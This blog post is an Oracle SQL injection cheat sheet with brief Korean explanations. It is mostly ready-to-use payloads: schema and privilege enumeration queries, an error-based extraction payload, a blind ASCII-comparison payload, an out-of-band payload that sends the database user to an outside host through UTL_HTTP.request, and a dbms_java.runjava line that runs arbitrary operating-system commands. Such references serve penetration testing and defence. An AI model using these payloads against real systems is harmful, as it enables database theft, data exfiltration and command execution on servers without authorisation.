Post

Oracle SQL Injection Cheat Sheet

Basic

Database Version

version

1
2
3
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

Database Name

Name

1
2
3
4
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL; 

Database List

DB_LIST

1
SELECT DISTINCT owner FROM all_tables;

User

User

1
2
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$;

Database Privilege

Privilege

1
2
3
4
SELECT * FROM session_privs; /* current privs */
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; /* priv, list a user's privs */
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

Table List

Table_List

1
2
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

Table List One Line

Table_List_One_Line

1
select rtrim(xmlagg(xmlelement(e, table_name || ',')).extract('//text()').extract('//text()') ,',') from all_tables;

Column List

Column_List

1
2
SELECT column_name FROM all_tab_columns WHERE table_name = '테이블명';
SELECT column_name FROM all_tab_columns WHERE table_name = '테이블명' and owner = 'DB명';

Host IP Address

Host-IP

1
2
3
4
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; /* gets IP address */
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; /* gets hostnames */

Case

Case

1
2
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; /* returns 1 */
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; /* returns 2  */

Limit

Limit

1
select * from (select rownum rnum, table.* from table) A where A.rnum between 5 and 13; 

Error based SQLi

Column Count

order by 구문을 통해 숫자를 늘려서 현재 SQL 구문에 컬럼이 몇개 인지 확인이 가능합니다.

에러가 발생할 경우 컬럼의 갯수를 초과하였기 때문에 해당 숫자의 -1개라고 생각할 수 있습니다.

Column_Count

Select

에러발생 시 해당 데이터가 출력되는 것을 이용하여 데이터를 확인할 수 있습니다.

Select

1
1 and utl_inaddr.get_host_name((select global_name from global_name)) <>1--

Blind SQLi

데이터를 직접 확인할 수 없고 True/False 기반으로 판별이 가능한 경우가 있습니다.

이때 데이터를 한 문자씩 가져와 ASCII 값으로 비교하여 데이터를 확인할 수 있습니다.

1
1 and ascii(substr((select user from dual),1,1))=83--

True 일 경우, 아래와 같이 값이 출력

Blind-True

False 일 경우, 아래와 같이 값이 출력되지 않음

Blind-False

Etc

Out-of-band SQLi

SQL Injection은 가능하나 데이터를 출력하거나 Blind SQLi를 사용할 수 없을 경우에 사용합니다.

특정 데이터를 특정 서버로 전달하여 데이터를 확인할 수 있습니다.

Out-of-band

1
1 || UTL_HTTP.request('host'||(select user from dual)) 

dbms_java.runjava 함수를 통한 임의의 명령어 실행

1
select dbms_java.runjava('com/sun/tools/script/shellMain -e "var p= java.lang.Runtime.getRuntime().exec("$cmd"),"')from dual
This post is licensed under CC BY 4.0 by the author.